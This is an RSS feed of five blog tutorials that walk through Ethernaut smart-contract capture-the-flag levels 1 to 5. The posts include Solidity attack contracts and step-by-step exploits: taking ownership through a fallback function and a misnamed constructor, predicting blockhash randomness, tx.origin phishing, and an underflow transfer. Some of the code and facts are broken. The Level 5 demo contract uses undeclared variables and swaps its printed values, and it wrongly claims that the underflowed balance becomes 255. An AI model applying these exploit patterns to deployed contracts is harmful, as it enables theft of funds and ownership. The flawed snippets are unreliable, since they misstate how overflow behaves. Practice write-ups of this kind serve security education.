<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Kamil Polak</title>
    <description>The latest articles on DEV Community by Kamil Polak (@kamilpolak).</description>
    <link>https://dev.to/kamilpolak</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F776339%2Fa3a22d31-68b8-4a9b-8e6d-07ed4b0d2588.png</url>
      <title>DEV Community: Kamil Polak</title>
      <link>https://dev.to/kamilpolak</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/kamilpolak"/>
    <language>en</language>
    <item>
      <title>Ethernaut Level 5: Token</title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Wed, 26 Jan 2022 06:11:42 +0000</pubDate>
      <link>https://dev.to/kamilpolak/ethernaut-level-5-token-3a7o</link>
      <guid>https://dev.to/kamilpolak/ethernaut-level-5-token-3a7o</guid>
      <description>&lt;p&gt;In challenge 5 you are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.&lt;/p&gt;

&lt;p&gt;Let's first look at the given smart contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address =&amp;gt; uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value &amp;gt;= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a simple contract that allows to transfer and check the current balance of the contract. In the constructor, we can specify the total supply and assign it to a person who deployed the contract.&lt;/p&gt;

&lt;p&gt;To hack this contract first you need to understand the concept of integer underflow and overflow. The overflow is a situation when uint (unsigned integer) reaches its byte size. Then the next element added will return the first variable element.&lt;/p&gt;

&lt;p&gt;In the case of underflow, if you subtract 1 from a uint8 that is 0, it will change the value to 255.&lt;/p&gt;

&lt;p&gt;Let me explain with an example. Note: The hardhat console library is necessary to log to the console in Remix.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma solidity ^ 0.6.0 ;

import "hardhat/console.sol";

contract Test {
    constructor () public  {
        uint8 small = 0;
        decrease--;

        uint8 large = 255;
        increase++;
        console.log(small); // prints 255
        console.log(large); // prints 0
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you run this code in Remix, be sure to use compiler version 0.6. As you can see we have a variable named decrease with value a 0. If we subtract 1 from that variable we end up with 255.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--djX4p3lW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o36g2okumno6rflxhaq0.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--djX4p3lW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o36g2okumno6rflxhaq0.jpg" alt="ethernaut level 5" width="812" height="303"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;If you want to know more about integer underflow and overflow I have an additional article you can read: &lt;a href="https://dev.to/kamilpolak/integer-overflow-and-underflow-in-solidity-3j7h"&gt;Integer Overflow and Underflow in Solidity&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's move to our smart contract. To win this challenge we need to  trigger an overflow or underflow. Keep in mind that we received 20 tokens. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0jyhbEn6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i1ua330mrr1j5jqf4p5t.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0jyhbEn6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i1ua330mrr1j5jqf4p5t.jpg" alt="ethernaut level 5" width="652" height="175"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All we need to do is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;transfer 21 (more than 20) tokens to another address,&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;this will cause an underflow, setting our balance to 255&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To execute &lt;code&gt;transfer&lt;/code&gt; function you need to take some real contract address. You can pick a one from Etherscan.io&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--R5XUz-4r--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d5787t3vu86iyvzhvtqk.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--R5XUz-4r--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d5787t3vu86iyvzhvtqk.jpg" alt="ethernaut level 5" width="880" height="61"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How to prevent underflow and overflow in Solidity?
&lt;/h2&gt;

&lt;p&gt;There are two options. First is to use OpenZeppelin's SafeMath library that automatically checks for overflows in all the mathematical operators. The second one is to use the 0.8 Solidity version where overflow and underflow will cause a revert.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>smartcontract</category>
      <category>tutorial</category>
      <category>ethernatu</category>
    </item>
    <item>
      <title>Ethernaut Level 4: Telephone Tutorial</title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Sat, 22 Jan 2022 15:35:38 +0000</pubDate>
      <link>https://dev.to/kamilpolak/ethernaut-level-4-telephone-tutorial-4khe</link>
      <guid>https://dev.to/kamilpolak/ethernaut-level-4-telephone-tutorial-4khe</guid>
      <description>&lt;p&gt;In level 4 of the Ethernaut Game our goal is to claim ownership of the &lt;code&gt;Telephone&lt;/code&gt; contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a simple contract with only one function and constructor that assigns the ownership to the address that deployed the contract.&lt;/p&gt;

&lt;p&gt;Considering that we have only one function it is fairly easy to guess that need to focus on it if we want to win the game. &lt;/p&gt;

&lt;p&gt;The &lt;code&gt;changeOwner&lt;/code&gt; function takes as argument an address and verifies if &lt;code&gt;(tx.origin != msg.sender)&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;To claim the ownership we need to first understand what is the difference  between &lt;code&gt;tx.origin&lt;/code&gt; and  &lt;code&gt;msg.sender&lt;/code&gt; and why contracts that use the &lt;code&gt;tx.origin&lt;/code&gt; to authorize users are vulnerable to phishing attacks.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;tx.origin&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;the original user wallet that initiated the transaction&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;the origin address of potentially an entire chain of transactions and calls&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;only user wallet addresses can be the tx.origin, not contract address&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;msg.sender&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;both user wallets and smart contracts can be the msg.sender&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;checks where the external function call directly came from&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For more details, I encourage you to read my post about &lt;code&gt;tx.origin&lt;/code&gt;&lt;br&gt;
&lt;a href="https://dev.to/kamilpolak/hack-solidity-tx-origin-attacks-32co"&gt;Hack Solidity: Tx Origin Attacks &lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To hack the contract and claim ownership all we need to do is to create a new malicious contract and encourage the owner to call a specific function that under the hood will change the ownership. Let's think about that like a phishing attack.  &lt;/p&gt;

&lt;p&gt;Go to Remix IDE and paste a &lt;code&gt;Telephone&lt;/code&gt; smart contract. Next, a open new file and create the following contract. Do not forget to import the &lt;code&gt;Telephone&lt;/code&gt; contract.&lt;/p&gt;

&lt;p&gt;Here we have a constructor that takes the Telephone's contract address. Next, we have a malicious function &lt;code&gt;changeOwner&lt;/code&gt; that takes the address of the attacker and uses it to change the ownership of the &lt;code&gt;Telephone&lt;/code&gt; contract.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


import "./Telephone.sol";


contract Attack {

    Telephone telephone;


    constructor(address _address) public {
        telephone = Telephone(_address);
    }

    function changeOwner(address _address) public {
        telephone.changeOwner(_address);


    }


}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before we deploy the contract let's first check the current Telephone's owner adress. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--LhRQTSup--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zh96vqws54ksnafnwbje.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--LhRQTSup--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zh96vqws54ksnafnwbje.jpg" alt="ethernaut level 4 initial owner" width="756" height="51"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before you deploy the contract in Remix you need to change the environment to Injected Web3. Next, in the Deploy field put a &lt;code&gt;Telephone&lt;/code&gt; contract address&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--fV0mRoSa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gc3tztpsjei6wjzterqv.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fV0mRoSa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gc3tztpsjei6wjzterqv.jpg" alt="ethernaut level 4 initial owner" width="352" height="497"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To check the address run the following command in the browser console.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--j-K9zz4N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pp3r2rpsiyldsgtpk9de.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--j-K9zz4N--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pp3r2rpsiyldsgtpk9de.jpg" alt="ethernaut level 4 initial owner" width="732" height="52"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once you deploy the contract in the next step you can call the &lt;code&gt;changeOwner&lt;/code&gt; function. As an argument put your MetaMask address.&lt;/p&gt;

&lt;p&gt;When you call the function you should claim the ownership of the Telephone smart contract. To check that run the following command in the browser console.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vW_k1eno--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zuwejakdxuo2k9o0jnk6.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vW_k1eno--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zuwejakdxuo2k9o0jnk6.jpg" alt="ethernaut level 4 new owner" width="856" height="48"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see the owner's address has changed, i.e. I claimed the ownership. Note, your wallet address is different, thus your output will differ from mine. &lt;/p&gt;

</description>
      <category>solidity</category>
      <category>blockchain</category>
      <category>smartcontract</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Ethernaut Level 3: Coin Flip Tutorial</title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Fri, 21 Jan 2022 17:31:29 +0000</pubDate>
      <link>https://dev.to/kamilpolak/ethernaut-level-3-coin-flip-tutorial-1db1</link>
      <guid>https://dev.to/kamilpolak/ethernaut-level-3-coin-flip-tutorial-1db1</guid>
      <description>&lt;p&gt;In level 3 you have to play a game: coin flip. To complete this level you'll need to guess the correct outcome of a coin flip 10 times in a row.&lt;/p&gt;

&lt;p&gt;So let's look at the code of the smart contract. We can see that there is only one function - &lt;code&gt;flip&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;flip&lt;/code&gt; function takes a boolean value as its argument which&lt;br&gt;
represents a side of the coin that's being flipped and it returns a boolean that says whether the caller of this function won or not.&lt;/p&gt;

&lt;p&gt;Let me also explain the following line of code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;uint256 blockValue = uint256(blockhash(block.number.sub(1)))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Blockhash&lt;/code&gt;is a global variable that takes &lt;code&gt;blocknumber&lt;/code&gt; and returns hash of the given block when &lt;code&gt;blocknumber&lt;/code&gt; is one of the 256 most recent blocks; otherwise returns zero.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;block.number.sub(1)&lt;/code&gt; returns the block number of the last block. Why the last one, not the current one? Because at the time the function is called, the current block is not yet mineded.&lt;/p&gt;

&lt;p&gt;To sum up,  the random number is being generated from the block hash or the hash of the previously mined block. This number is used as the source of randomness which ultimately influences the&lt;br&gt;
side of the flipped coin. &lt;/p&gt;

&lt;p&gt;We can use something like a proxy contract and in the code &lt;br&gt;
we could mimic the exact calculation of the hash of the previously mined block to generate the random number that we know this function is using.&lt;/p&gt;

&lt;p&gt;Next, we can copy the rest of the contract logic to get the same results.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract HackCoinFlip{

    using SafeMath for uint256;
    CoinFlip public coinFlipContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlipContract) public{
        coinFlipContract = CoinFlip(_coinFlipContract);
    }
    function makeGuess() public {

        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool guess = coinFlip == 1 ? true : false;

        coinFlipContract.flip(guess);
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: in this case you need to use Remix IDE because it is not possible to upload an external smart contract.&lt;/p&gt;

&lt;p&gt;To do that just copy&amp;amp;paste the &lt;code&gt;CoinFlip&lt;/code&gt; and &lt;code&gt;HackCoinFlip&lt;/code&gt; contracts. Keep in mind that before you deploy the contract you have to change the environment from JavaScript VM to Injected Web3 to be able to approve transactions using MetaMask. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mSAa4F1a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/srxo9hcawmhuab6lr2hu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mSAa4F1a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/srxo9hcawmhuab6lr2hu.png" alt="ethernaut level 3" width="372" height="170"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before we interact with smart contract let's check the initial state of &lt;code&gt;consecutiveWins&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--k8yvIDJG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/47frmtaj78iysvqq3oyq.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--k8yvIDJG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/47frmtaj78iysvqq3oyq.jpg" alt="ethernaut level 3" width="643" height="145"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see it is 0. When you call the &lt;code&gt;flip&lt;/code&gt; function in the &lt;code&gt;HackCoinFlip&lt;/code&gt; contract the value will increase to 1. However, to win the game we need to guess the correct outcome of a coin flip 10 times in a row. This means that you have to call the function 10 times. &lt;/p&gt;

&lt;p&gt;When you do this you should see something like this&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--pYpeUs_y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5vwysnrlc5f2u615kvqy.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--pYpeUs_y--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5vwysnrlc5f2u615kvqy.jpg" alt="ethernaut level 3" width="556" height="148"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You are the winner!&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>tutorial</category>
      <category>smartcontract</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>Ethernaut Level 2: Fallout Tutorial </title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Thu, 20 Jan 2022 17:37:47 +0000</pubDate>
      <link>https://dev.to/kamilpolak/ethernaut-level-2-fallout-tutorial-46gp</link>
      <guid>https://dev.to/kamilpolak/ethernaut-level-2-fallout-tutorial-46gp</guid>
      <description>&lt;p&gt;This is the second part of my series around Ethernaut Game. In this post, we will deal with Level 2: Fallout.&lt;/p&gt;

&lt;p&gt;Our goal is to claim the ownership of a given smart contract.&lt;/p&gt;

&lt;p&gt;If we look at the function &lt;code&gt;Fallout&lt;/code&gt; we see that it suppose to be the constructor. This is due to comments and the fact that constructors always are named in the same way as the smart contract. As you know a constructor only gets executed when the contract first deploys.&lt;/p&gt;

&lt;p&gt;After further analysis we see that this is the only place where the ownership of the smart contract is assigned.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One of the recommendations was to analyse the contract in the Remix IDE. Why?&lt;/p&gt;

&lt;p&gt;Because when you look at the constructor again you will see a typo in the name. Recall that the name of the constructor should be the same as the smart contract name, i.e. in that case &lt;code&gt;Fallout&lt;/code&gt;. However the name of the constructor is &lt;code&gt;Fal1out&lt;/code&gt; This means that this is not a constructor, but a normal function that we can call to claim ownership. &lt;/p&gt;

&lt;p&gt;So, let's give it a try. First, we call the function and after that check who is the owner of the contract.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnocd73382ftufna1kowr.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnocd73382ftufna1kowr.jpg" alt="ethernaut level 2"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That's it. We claimed the ownership. &lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;The vulnerability in the smart contract was the wrong name of the constructor. It was supposed to be a constructor however, due to a type (&lt;code&gt;Fal1out&lt;/code&gt; not &lt;code&gt;Fallout&lt;/code&gt;) it behaves similarly to any other function.&lt;/p&gt;

</description>
      <category>solidity</category>
      <category>smartcontract</category>
      <category>security</category>
      <category>blockchain</category>
    </item>
    <item>
      <title>Ethernaut Level 1: Fallback Tutorial</title>
      <dc:creator>Kamil Polak</dc:creator>
      <pubDate>Wed, 19 Jan 2022 12:24:37 +0000</pubDate>
      <link>https://dev.to/kamilpolak/ethernaut-level-1-fallback-tutorial-34of</link>
      <guid>https://dev.to/kamilpolak/ethernaut-level-1-fallback-tutorial-34of</guid>
      <description>&lt;p&gt;In this article, I will walk you through how to solve the first task of the Ethernaut game. &lt;/p&gt;

&lt;p&gt;The aim of the task is to :&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt; claim ownership of the contract&lt;/li&gt;
&lt;li&gt; reduce balance of the contract to 0&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's start with the analysis of the contract that we need to hack.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  function contribute() public payable {
    require(msg.value &amp;lt; 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] &amp;gt; contributions[owner]) {
      owner = msg.sender;
    }
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looking at the constructor we can see that contribution of the owner was set to 1000 ethers. This means that if we want to take ownership of the contract we need to call the &lt;code&gt;contribute&lt;/code&gt; function until we reach a balance higher than 1000 ethers. &lt;/p&gt;

&lt;p&gt;Considering that we cannot send more than 0.001 ether in one call it will take a lot of time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Another way to take ownership of the contract is to use the &lt;code&gt;receive&lt;/code&gt; fallback function. The fallback function is executed if none of the other functions match the function identifier or no data was provided with the function call. &lt;/p&gt;

&lt;p&gt;Note that only one unnamed function can be assigned to a contract and it is executed whenever the contract receives plain ether without any data. To receive ether and add it to the total balance of the contract, the fallback function must be marked &lt;code&gt;payable&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  receive() external payable {
    require(msg.value &amp;gt; 0 &amp;amp;&amp;amp; contributions[msg.sender] &amp;gt; 0);
    owner = msg.sender;
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, to take the ownership we need to meet to conditions: &lt;code&gt;msg.value &amp;gt; 0 &amp;amp;&amp;amp; contributions[msg.sender] &amp;gt; 0&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After that, we can call &lt;code&gt;withdraw&lt;/code&gt; function to claim all funds.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Before let's check who is the owner of the contract.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--72q0Vz8C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yms7cgkvs72ec5516kob.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--72q0Vz8C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yms7cgkvs72ec5516kob.jpg" alt="ethernaut level 1 initial address" width="512" height="102"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see the owner's address is different than player's address.&lt;/p&gt;

&lt;p&gt;Now we can send some amount of ether to the contract. Note, you cannot send more than 0.001 ether.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4CR6DAA0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6ufcpv4cjtttq6w6q0fu.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4CR6DAA0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6ufcpv4cjtttq6w6q0fu.jpg" alt="Ethernaut level 1" width="880" height="65"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To send the transaction you need to confirm your operation in MetaMask and pay some small gas. Once the transaction will be executed you should see confirmation as above.&lt;/p&gt;

&lt;p&gt;We can also verify that we contributed to the contract.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--72vOLukH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b0i8syo8bqvrvyjf0t57.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--72vOLukH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b0i8syo8bqvrvyjf0t57.jpg" alt="ethernaut level 1 tutorial" width="637" height="170"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Without going into details the &lt;code&gt;length:3&lt;/code&gt; is the confirmation. So now we need to fulfill the second condition of the fallback function. To do that we need to call the function and send some value.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NLFQJEpK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/n5jh5v72uc9ogpn1itb7.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NLFQJEpK--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/n5jh5v72uc9ogpn1itb7.jpg" alt="ethernaut level 1" width="880" height="90"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Since this is a fallback function we used the specific function &lt;code&gt;sendTransaction&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After that, we can check the contract owner. As you can see now the ownership was assigned to the player's address. So we claimed the ownership!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Z_B2U7rG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yvffs5zhpukstzwt1fc0.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Z_B2U7rG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yvffs5zhpukstzwt1fc0.jpg" alt="ethernaut level 1" width="497" height="48"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we can withdraw ethers. Before we will check the current balance.&lt;/p&gt;

